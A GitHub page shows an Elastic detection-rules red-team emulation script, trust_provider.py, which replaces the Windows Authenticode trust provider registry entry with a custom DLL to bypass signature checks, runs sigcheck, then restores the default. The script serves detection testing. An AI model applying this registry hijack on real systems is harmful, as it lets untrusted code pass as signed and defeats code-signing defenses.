forked from elastic/detection-rules
-
Notifications
You must be signed in to change notification settings - Fork 0
/
trust_provider.py
51 lines (35 loc) · 1.73 KB
/
trust_provider.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
# Name: Trust Provider Modification
# RTA: trust_provider.py
# ATT&CK: T1116
# Description: Substitutes an invalid code authentication policy, enabling trust policy bypass.
from . import common
FINAL_POLICY_KEY = "Software\\Microsoft\\Cryptography\\providers\\trust\\FinalPolicy\\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}" # noqa: E501
def set_final_policy(dll_path, function_name):
winreg = common.get_winreg()
hkey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, FINAL_POLICY_KEY)
common.log("Setting dll path: %s" % dll_path)
winreg.SetValueEx(hkey, "$DLL", 0, winreg.REG_SZ, dll_path)
common.log("Setting function name: %s" % function_name)
winreg.SetValueEx(hkey, "$Function", 0, winreg.REG_SZ, function_name)
if common.is_64bit():
SIGCHECK = common.get_path("bin", "sigcheck64.exe")
TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider64.dll")
else:
SIGCHECK = common.get_path("bin", "sigcheck32.exe")
TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider32.dll")
TARGET_APP = common.get_path("bin", "myapp.exe")
@common.requires_os(common.WINDOWS)
@common.dependencies(SIGCHECK, TRUST_PROVIDER_DLL, TARGET_APP)
def main():
common.log("Trust Provider")
set_final_policy(TRUST_PROVIDER_DLL, "FinalPolicy")
common.log("Launching sigcheck")
common.execute([SIGCHECK, "-accepteula", TARGET_APP])
common.log("Cleaning up")
set_final_policy("C:\\Windows\\System32\\WINTRUST.dll", "SoftpubAuthenticode")
if __name__ == "__main__":
exit(main())